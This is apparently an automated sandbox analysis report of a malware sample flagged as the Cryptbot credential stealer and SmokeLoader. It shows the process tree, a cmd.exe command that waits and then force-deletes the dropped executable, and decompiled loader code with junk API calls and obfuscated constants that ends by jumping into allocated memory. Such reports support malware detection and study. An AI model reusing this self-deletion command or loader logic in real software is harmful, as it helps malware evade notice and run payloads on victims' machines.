Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: D375.exe PID: 6632 Parent PID: 3352

General

Start time:	10:04:56
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\D375.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D375.exe
Imagebase:	0x8e0000
File size:	2740224 bytes
MD5 hash:	CA16CA4AA9CF9777274447C9F4BA222E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.478772499.00000000008C0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Cryptbot, Description: Yara detected Cryptbot, Source: 0000001A.00000003.478772499.00000000008C0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000002.570490408.0000000000915000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Cryptbot, Description: Yara detected Cryptbot, Source: 0000001A.00000002.570490408.0000000000915000.00000002.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 43%, Metadefender, Browse Detection: 86%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: WerFault.exe PID: 6708 Parent PID: 6636

General

Start time:	10:04:56
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6636 -s 520
Imagebase:	0x1390000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: B6B5.exe PID: 3540 Parent PID: 6720

General

Start time:	10:05:02
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\B6B5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B6B5.exe
Imagebase:	0x400000
File size:	336896 bytes
MD5 hash:	CBC4BD8906093C0CCC55379319D65DB1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001C.00000002.503480050.00000000005B1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001C.00000002.503274211.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: EE61.exe PID: 5680 Parent PID: 3352

General

Start time:	10:05:03
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\EE61.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\EE61.exe
Imagebase:	0xb60000
File size:	1143000 bytes
MD5 hash:	97617914D6E8A6E3CBEE8A5E5FF39AA5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: cmd.exe PID: 4340 Parent PID: 5976

General

Start time:	10:05:23
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\AA02.exe" & exit
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: EE61.exe PID: 5344 Parent PID: 5680

General

Start time:	10:05:24
Start date:	01/12/2021
Path:	C:\Users\user\AppData\Local\Temp\EE61.exe
Wow64 process (32bit):
Commandline:	C:\Users\user\AppData\Local\Temp\EE61.exe
Imagebase:
File size:	1143000 bytes
MD5 hash:	97617914D6E8A6E3CBEE8A5E5FF39AA5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 3428 Parent PID: 4340

General

Start time:	10:05:24
Start date:	01/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: timeout.exe PID: 1904 Parent PID: 4340

General

Start time:	10:05:25
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0xc90000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: QMn13jz6nj.exe PID: 2228 Parent PID: 5780 QMn13jz6nj.exeCOMMON

Executed Functions

Function 004020E1, Relevance: 4.5, APIs: 3, Instructions: 31
timeCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E004020E1(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _t1;
				void* _t8;
				void* _t17;

				_t17 = __fp0;
				_t7 = __ebx;
				_t1 =  *0x42047c; // 0xfff551fd
				 *0x2b54004 = _t1;
				if(_t1 == 0xc) {
					GetHandleInformation(0, 0);
					__imp__GradientFill(0, 0, 0, 0, 0, 0, __esi);
					GetSystemTimeAsFileTime(0);
					_push(0);
					E0040251D(__ebx, __edi, 0, 0);
					_push(0);
					E00402284();
					_pop(_t8);
					_t1 = E00402814(0);
				}
				E004016E1(_t1); // executed
				E0040171B(_t7, _t8, _t17); // executed
				return 0;
			}

0x004020e1
0x004020e1
0x004020e1
0x004020e6
0x004020ee
0x004020f5
0x00402101
0x00402108
0x0040210e
0x0040210f
0x00402114
0x00402115
0x0040211b
0x0040211d
0x00402122
0x00402123
0x00402128
0x0040212f

APIs

GetHandleInformation.KERNEL32(00000000,00000000), ref: 004020F5
GradientFill.MSIMG32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402101
GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00402108

Part of subcall function 00402284: __wcstoi64.LIBCMT ref: 0040227A

Part of subcall function 00402814: _doexit.LIBCMT ref: 00402820

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$FileFillGradientHandleInformationSystem__wcstoi64_doexit
String ID:
API String ID: 3280759799-0
Opcode ID: 9446acc57d638862f9af066f1e6e6178a400b57350e0862f9bd3fa3ae4ec3488
Instruction ID: dc23e2cce470bc47175b4aba597eb6728c30558f6933634a4037cf42e3812ced
Opcode Fuzzy Hash: 9446acc57d638862f9af066f1e6e6178a400b57350e0862f9bd3fa3ae4ec3488
Instruction Fuzzy Hash: 88E04832403830ABC25277B16E0DDCF2B789E4E355344853FF101A61D2DB7C424286ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040171B, Relevance: 61.6, APIs: 15, Strings: 20, Instructions: 363
memorylibrarysynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040171B(void* __ebx, void* __ecx, void* __fp0) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				intOrPtr _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				intOrPtr _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				intOrPtr _v684;
				char _v1708;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t354;
				intOrPtr _t356;
				intOrPtr* _t426;
				void* _t429;
				void* _t430;
				void* _t448;
				void* _t449;
				void* _t450;
				void* _t451;
				void* _t452;
				void* _t454;
				void* _t472;

				_t472 = __fp0;
				_t429 = __ecx;
				_t457 =  *0x2b54004 - 0x20a;
				if( *0x2b54004 == 0x20a) {
					SetCaretPos(0, 0);
					PulseEvent(0);
					E0040222E(_t429, 0xea, 0x929);
					_push(0);
					E0040251D(__ebx, _t448, 0, _t457);
					_push(0);
					_push(0);
					_push(0);
					E00402434(__ebx, _t448, 0, _t457);
					E00402132(__ebx, _t448, 0, _t457);
					_t426 = _t454 + 0x18;
					 *_t426 = 0;
					 *((intOrPtr*)(_t426 + 4)) = 0;
					E00402290(0, 0);
					st0 = _t472;
				}
				_t449 = 0;
				while(1) {
					GetThreadLocale();
					if(_t449 > 0x90ce7e5) {
						break;
					}
					_t449 = _t449 + 1;
					if(_t449 < 0x702132fa) {
						continue;
					}
					break;
				}
				E004016EC();
				 *0x2b53ff8 = LoadLibraryA(0x4212c0);
				_t354 = LocalAlloc(0,  *0x2b54004); // executed
				 *0x2b53af4 = _t354;
				E00401700();
				_t356 =  *0x4202dc; // 0x35a215
				 *0x2b553f4 = _t356;
				_v288 = 0x79e4a38c;
				_v572 = 0x10b42981;
				_v132 = 0x2143bd5d;
				_v612 = 0x7650902e;
				_v680 = 0x6d2cd5d9;
				_v76 = 0x4423b964;
				_v548 = 0x52d068a5;
				_v208 = 0x196c1370;
				_v364 = 0x23fbb714;
				_v36 = 0x2a249f1e;
				_v316 = 0x482b68bf;
				_v220 = 0x415a1692;
				_v472 = 0x5c0a9a5;
				_v200 = 0x2700faa2;
				_v672 = 0x4383d2a1;
				_v452 = 0xc66a06d;
				_v156 = 0xb82c215;
				_v664 = 0x43e875d6;
				_v380 = 0x5c475ce0;
				_v276 = 0x6f3559a8;
				_v280 = 0x7bf3895f;
				_v124 = 0x79cda7ab;
				_v424 = 0x6b0cf377;
				_v656 = 0x46ceca20;
				_v416 = 0x7c310959;
				_v420 = 0x4a1da37e;
				_v68 = 0x36d079f2;
				_v80 = 0x78e72912;
				_v212 = 0x4a8b3890;
				_v532 = 0x417aea3d;
				_v136 = 0x2f42e934;
				_v128 = 0x3ef5fbe7;
				_v148 = 0x1017bd13;
				_v628 = 0x4e0230e8;
				_v408 = 0x7d664037;
				_v192 = 0x3b2805e9;
				_v204 = 0x39acc2ba;
				_v404 = 0x3030c776;
				_v636 = 0x79d6816;
				_v648 = 0x48cbae1c;
				_v272 = 0x312df852;
				_v184 = 0x6eedb7d9;
				_v500 = 0x3476d77c;
				_v268 = 0x1da18ae0;
				_v476 = 0x457dde5e;
				_v72 = 0x1f3310e5;
				_v64 = 0x1bf56cad;
				_v544 = 0x5674bc21;
				_v264 = 0x5197f8f8;
				_v116 = 0x7e1d56d7;
				_v640 = 0x6ca39d39;
				_v260 = 0x556582ae;
				_v308 = 0x6aac6e1c;
				_v464 = 0x3e18e677;
				_v536 = 0x37506b08;
				_v516 = 0x262a9b76;
				_v340 = 0x53820506;
				_v444 = 0x2156fa78;
				_v56 = 0x60f19754;
				_v632 = 0x7711afcd;
				_v400 = 0xaa51df0;
				_v652 = 0x60704a6d;
				_v108 = 0x101e0b5c;
				_v392 = 0x30f6e212;
				_v48 = 0x69c6b46;
				_v524 = 0x27533afe;
				_v528 = 0xcff690f;
				_v384 = 0x6fd81f63;
				_v196 = 0x73733237;
				_v520 = 0x4cfcc534;
				_v580 = 0x7460c4dd;
				_v396 = 0x2a9e5ea9;
				_v624 = 0x4d99d3b;
				_v644 = 0x637d0e50;
				_v620 = 0x61b3554e;
				_v376 = 0x21e086b8;
				_v60 = 0x5b3b367a;
				_v176 = 0x6ce67a8a;
				_v456 = 0x3fc431f2;
				_v100 = 0x4999accf;
				_v256 = 0x7d1facf3;
				_v512 = 0x40cefa1f;
				_v28 = 0x499aa94b;
				_v616 = 0x702b6055;
				_v676 = 0x2bcaf7d0;
				_v248 = 0x51c1afb;
				_v368 = 0x2ca2f8f3;
				_v252 = 0xf978097;
				_v356 = 0x8d5059;
				_v564 = 0x7fe89b07;
				_v188 = 0x6ffe7d8a;
				_v300 = 0x25820c7e;
				_v492 = 0x1d236a5a;
				_v360 = 0x6894598b;
				_v40 = 0x4f585992;
				_v140 = 0x2b1946d8;
				_v436 = 0x7ad0c814;
				_v292 = 0x44831c36;
				_v168 = 0xdc426e1;
				_v32 = 0x57863b55;
				_v180 = 0x27e0b7cc;
				_v160 = 0x3dd067dd;
				_v448 = 0x78f9db8e;
				_v540 = 0x6a977255;
				_v352 = 0x467720e3;
				_v240 = 0x37cee572;
				_v608 = 0x61d9a686;
				_v468 = 0x77d897fe;
				_v244 = 0x66e9e68;
				_v600 = 0x411c7d8a;
				_v440 = 0x59659395;
				_v372 = 0x40e58063;
				_v344 = 0x549121f9;
				_v336 = 0x5f53aabb;
				_v332 = 0x64a1b866;
				_v508 = 0x47cebae5;
				_v328 = 0x2cadb0f7;
				_v504 = 0x16e2ae04;
				_v232 = 0x41390144;
				_v20 = 0x144604ec;
				_v120 = 0x5124eeee;
				_v24 = 0x3513ed4d;
				_v496 = 0x33de0982;
				_v432 = 0x192a70ea;
				_v320 = 0x6996477f;
				_v224 = 0x4e5ad55c;
				_v604 = 0x79a80157;
				_v312 = 0x4ebadc15;
				_v52 = 0x6e004b14;
				_v324 = 0x3195a6a2;
				_v112 = 0x38bceb02;
				_v304 = 0x5cee6ac6;
				_v592 = 0x54636cda;
				_v684 = 0x56a9e274;
				_v152 = 0x7ac24e5b;
				_v172 = 0x51d805d5;
				_v584 = 0x785634fb;
				_v92 = 0x5f51e46;
				_v16 = 0x42d3a2d0;
				_v596 = 0x291a2e40;
				_v588 = 0x109d0384;
				_v668 = 0x17d70dc7;
				_v660 = 0x74f71c69;
				_v388 = 0x3842b138;
				_v104 = 0x2d9d828b;
				_v236 = 0x1f897d5a;
				_v284 = 0x6796ec44;
				_v576 = 0x9f3be1e;
				_v144 = 0x10cb0b7c;
				_v12 = 0x66877df8;
				_v412 = 0x5cf6cec3;
				_v428 = 0xeaf7f57;
				_v568 = 0x62990955;
				_v460 = 0x3ef092f6;
				_v296 = 0x575e274e;
				_v488 = 0x755cad8b;
				_v164 = 0x6153f2f0;
				_v8 = 0x425c0ff;
				_v228 = 0x27b7a98d;
				_v560 = 0xb2595f4;
				_v484 = 0x1e249c9a;
				_v44 = 0x335fdaaa;
				_v96 = 0x3a5db781;
				_v84 = 0x2ebbdcc;
				_v348 = 0x6c78101;
				_v88 = 0x53e7204d;
				_v216 = 0x53d7342a;
				_v552 = 0x175e7916;
				_v556 = 0x35bb116a;
				_v480 = 0xd290d4b;
				_v288 = _v288 - 0x77fed1c7;
				_v288 = _v288 - 0x4add95f2;
				_v288 = _v288 + 0x75a935e8;
				_v288 = _v288 + 0x38dbc677;
				_v288 = _v288 - 0x3dc01d34;
				_v288 = _v288 + 0x44a3f97e;
				_v572 = _v572 - 0x69427b63;
				_v132 = _v132 - 0x36c4b127;
				_v572 = _v572 - 0x705e824a;
				_v288 = _v288 - 0x5a05ca71;
				_v680 = _v680 - 0x7fd814fb;
				_v76 = _v76 - 0x622792da;
				_v76 = _v76 - 0x3ed9745e;
				_v208 = _v208 - 0x4f4a7547;
				_v132 = _v132 + 0x28ad38da;
				_v76 = _v76 - 0x42729a85;
				_v288 = _v288 + 0x35f351a1;
				_v208 = _v208 - 0x1ed4afb3;
				_v76 = _v76 + 0x69f00a84;
				_v612 = _v612 + 0x551dd122;
				_v288 = _v288 - 0x7acf2943;
				_v288 = _v288 + 0x64af3315;
				_v220 = _v220 - 0x1932295d;
				_v364 = _v364 + 0x6cfc0cb5;
				_v208 = _v208 + 0x429acc43;
				_v208 = _v208 - 0x4dfdd6c2;
				_v76 = _v76 - 0x6f8d5744;
				_v364 = _v364 - 0x211b042e;
				_v472 = _v472 - 0x221db847;
				_v664 = _v664 + 0x2c735d1;
				E004011C9();
				_t450 = 0;
				if( *0x2b54004 > 0) {
					do {
						if( *0x2b54004 == 0x44) {
							GetConsoleTitleA( &_v1708, 0);
						}
						_t450 = _t450 + 1;
					} while (_t450 <  *0x2b54004);
				}
				_t451 = 0;
				do {
					if( *0x2b54004 + _t451 == 0x5e) {
						__imp__CreateHardLinkA("kozizaduruxupodugaheyujof", "yenopocenazajoruzarayoladizakuculu", 0);
						HeapSize(0, 0, 0);
						CommConfigDialogA(0, 0, 0);
					}
					_t451 = _t451 + 1;
				} while (_t451 < 0x40c893);
				E0040115F();
				_t430 = 0;
				do {
					if(_t430 == 0x7616) {
						E004011AF(_t430);
					}
					_t430 = _t430 + 1;
				} while (_t430 < 0x2464f5);
				_t452 = 0x7b;
				do {
					if( *0x2b54004 == 0xd) {
						BackupEventLogA(0, 0);
						WaitForSingleObject(0, 0);
						GetCharWidthFloatA(0, 0, 0, 0);
					}
					_t452 = _t452 - 1;
				} while (_t452 != 0);
				return  *0x2b53af4();
			}

0x0040171b
0x0040171b
0x00401727
0x00401732
0x00401736
0x0040173d
0x0040174d
0x00401752
0x00401753
0x00401758
0x00401759
0x0040175a
0x0040175b
0x00401762
0x0040176a
0x0040176c
0x0040176e
0x00401771
0x00401776
0x00401778
0x0040177b
0x0040177d
0x0040177d
0x00401789
0x00000000
0x00000000
0x0040178b
0x00401792
0x00000000
0x00000000
0x00000000
0x00401792
0x00401794
0x004017aa
0x004017b0
0x004017b6
0x004017bb
0x004017c0
0x004017c5
0x004017ca
0x004017d4
0x004017de
0x004017e5
0x004017ef
0x004017f9
0x00401800
0x0040180a
0x00401814
0x0040181e
0x00401825
0x0040182f
0x00401839
0x00401843
0x0040184d
0x00401857
0x00401861
0x0040186b
0x00401875
0x0040187f
0x00401889
0x00401893
0x0040189a
0x004018a4
0x004018ae
0x004018b8
0x004018c2
0x004018c9
0x004018d0
0x004018da
0x004018e4
0x004018ee
0x004018f5
0x004018ff
0x00401909
0x00401913
0x0040191d
0x00401927
0x00401931
0x0040193b
0x00401945
0x0040194f
0x00401959
0x00401963
0x0040196d
0x00401977
0x0040197e
0x00401985
0x0040198f
0x00401999
0x004019a0
0x004019aa
0x004019b4
0x004019be
0x004019c8
0x004019d2
0x004019dc
0x004019e6
0x004019f0
0x004019f7
0x00401a01
0x00401a0b
0x00401a15
0x00401a1c
0x00401a26
0x00401a2d
0x00401a37
0x00401a41
0x00401a4b
0x00401a55
0x00401a5f
0x00401a69
0x00401a73
0x00401a7d
0x00401a87
0x00401a91
0x00401a9b
0x00401aa2
0x00401aac
0x00401ab6
0x00401abd
0x00401ac7
0x00401ad1
0x00401ad8
0x00401ae2
0x00401aec
0x00401af6
0x00401b00
0x00401b0a
0x00401b14
0x00401b1e
0x00401b28
0x00401b32
0x00401b3c
0x00401b46
0x00401b4d
0x00401b57
0x00401b61
0x00401b6b
0x00401b75
0x00401b7c
0x00401b86
0x00401b90
0x00401b9a
0x00401ba4
0x00401bae
0x00401bb8
0x00401bc2
0x00401bcc
0x00401bd6
0x00401be0
0x00401bea
0x00401bf4
0x00401bfe
0x00401c08
0x00401c12
0x00401c1c
0x00401c26
0x00401c30
0x00401c3a
0x00401c41
0x00401c48
0x00401c4f
0x00401c59
0x00401c63
0x00401c6d
0x00401c77
0x00401c81
0x00401c8b
0x00401c92
0x00401c9c
0x00401ca3
0x00401cad
0x00401cb7
0x00401cc1
0x00401ccb
0x00401cd5
0x00401cdf
0x00401ce6
0x00401ced
0x00401cf7
0x00401d01
0x00401d0b
0x00401d15
0x00401d1f
0x00401d26
0x00401d30
0x00401d3a
0x00401d44
0x00401d4e
0x00401d55
0x00401d5f
0x00401d69
0x00401d73
0x00401d7d
0x00401d87
0x00401d91
0x00401d9b
0x00401da2
0x00401dac
0x00401db6
0x00401dc0
0x00401dc7
0x00401dce
0x00401dd5
0x00401ddf
0x00401de6
0x00401df0
0x00401dfa
0x00401e04
0x00401e0e
0x00401e18
0x00401e33
0x00401e3d
0x00401e47
0x00401e51
0x00401e5b
0x00401e65
0x00401e6c
0x00401ec5
0x00401ee0
0x00401eea
0x00401ef1
0x00401ef8
0x00401f02
0x00401f09
0x00401f10
0x00401f1a
0x00401f2f
0x00401f36
0x00401f5c
0x00401f77
0x00401f92
0x00401f9c
0x00401fb7
0x00401fc1
0x00401fcb
0x00401fd2
0x00401ff8
0x00402002
0x00402028
0x0040202d
0x00402035
0x00402037
0x0040203e
0x00402048
0x00402048
0x0040204e
0x0040204f
0x00402037
0x00402057
0x00402059
0x00402063
0x00402070
0x00402079
0x00402082
0x00402082
0x00402088
0x00402089
0x00402091
0x00402096
0x00402098
0x0040209e
0x004020a0
0x004020a0
0x004020a5
0x004020a6
0x004020b0
0x004020b1
0x004020b8
0x004020bc
0x004020c4
0x004020ce
0x004020ce
0x004020d4
0x004020d4
0x004020e0

APIs

SetCaretPos.USER32(00000000,00000000), ref: 00401736
PulseEvent.KERNEL32(00000000), ref: 0040173D
_calloc.LIBCMT ref: 0040174D
_fseek.LIBCMT ref: 0040175B
_fputc.LIBCMT ref: 00401762
GetThreadLocale.KERNEL32(?,?,?,?,000000EA,00000929), ref: 0040177D
LoadLibraryA.KERNEL32(004212C0), ref: 0040179E
LocalAlloc.KERNELBASE(00000000), ref: 004017B0
GetConsoleTitleA.KERNEL32(?,00000000,64AF3315,64AF3315,05C0A9A5,2A249F1E,52D068A5,482B68BF,551DD122,35F351A1,69F00A84,42729A85,7650902E,44A3F97E,44A3F97E,44A3F97E), ref: 00402048
CreateHardLinkA.KERNEL32(kozizaduruxupodugaheyujof,yenopocenazajoruzarayoladizakuculu,00000000,64AF3315,64AF3315,05C0A9A5,2A249F1E,52D068A5,482B68BF,551DD122,35F351A1,69F00A84,42729A85,7650902E,44A3F97E,44A3F97E), ref: 00402070
HeapSize.KERNEL32(00000000,00000000,00000000), ref: 00402079
CommConfigDialogA.KERNEL32(00000000,00000000,00000000), ref: 00402082
BackupEventLogA.ADVAPI32(00000000,00000000), ref: 004020BC
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004020C4
GetCharWidthFloatA.GDI32(00000000,00000000,00000000,00000000), ref: 004020CE

Strings

N'^W, xrefs: 00401D7D
yenopocenazajoruzarayoladizakuculu, xrefs: 00402066
$Q, xrefs: 00401C41
K), xrefs: 00401E04
kozizaduruxupodugaheyujof, xrefs: 0040206B
4B/, xrefs: 004018E4
72ss, xrefs: 00401A4B
c{Bi, xrefs: 00401E5B
7@f}, xrefs: 00401909
GuJO, xrefs: 00401EF8
AVv_, xrefs: 0040201D
\G\, xrefs: 00401875
=zA, xrefs: 004018DA
U`+p, xrefs: 00401AD8
Ou\v, xrefs: 00401F24
Y1|, xrefs: 004018AE
wF, xrefs: 00401BA4
z6;[, xrefs: 00401A9B
M S, xrefs: 00401DDF
mJp`, xrefs: 00401A0B

Memory Dump Source

Source File: 00000000.00000002.303622917.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303619087.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303641098.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303645895.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303879059.0000000002B5A000.00000002.00020000.sdmp Download File

Similarity

API ID: Event$AllocBackupCaretCharCommConfigConsoleCreateDialogFloatHardHeapLibraryLinkLoadLocalLocaleObjectPulseSingleSizeThreadTitleWaitWidth_calloc_fputc_fseek
String ID: 4B/$72ss$7@f}$=zA$AVv_$GuJO$K)$M S$N'^W$Ou\v$U`+p$Y1|$c{Bi$kozizaduruxupodugaheyujof$mJp`$yenopocenazajoruzarayoladizakuculu$z6;[$ wF$\G\$$Q
API String ID: 2678510818-4243747337
Opcode ID: d4076acc1654b9dd2f23a8a8032c7837dcf7be297777b7755d4b2792b1eb09ba
Instruction ID: 1a34c94e354a587149539df5068420116a4ca0320bb2cad86b9a1491dac822b7
Opcode Fuzzy Hash: d4076acc1654b9dd2f23a8a8032c7837dcf7be297777b7755d4b2792b1eb09ba
Instruction Fuzzy Hash: 7E22E9B4942268DBCB649F96C98A7CDBB70BF06304F6085C9E5197B210CB754AC2CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004033BF, Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004033BF(signed int _a4, signed int _a8, long _a12) {
				void* _t10;
				long _t11;
				long _t12;
				signed int _t13;
				signed int _t17;
				long _t19;
				long _t24;

				_t17 = _a4;
				if(_t17 == 0) {
					L3:
					_t24 = _t17 * _a8;
					__eflags = _t24;
					if(_t24 == 0) {
						_t24 = _t24 + 1;
						__eflags = _t24;
					}
					goto L5;
					L6:
					_t10 = RtlAllocateHeap( *0x420f48, 8, _t24); // executed
					__eflags = 0;
					if(0 == 0) {
						goto L7;
					}
					L14:
					return _t10;
					goto L15;
					L7:
					__eflags =  *0x420f50;
					if( *0x420f50 == 0) {
						_t19 = _a12;
						__eflags = _t19;
						if(_t19 != 0) {
							 *_t19 = 0xc;
						}
					} else {
						_t11 = E004048B7(_t10, _t24);
						__eflags = _t11;
						if(_t11 != 0) {
							L5:
							_t10 = 0;
							__eflags = _t24 - 0xffffffe0;
							if(_t24 > 0xffffffe0) {
								goto L7;
							} else {
								goto L6;
							}
						} else {
							_t12 = _a12;
							__eflags = _t12;
							if(_t12 != 0) {
								 *_t12 = 0xc;
							}
							_t10 = 0;
						}
					}
					goto L14;
				} else {
					_t13 = 0xffffffe0;
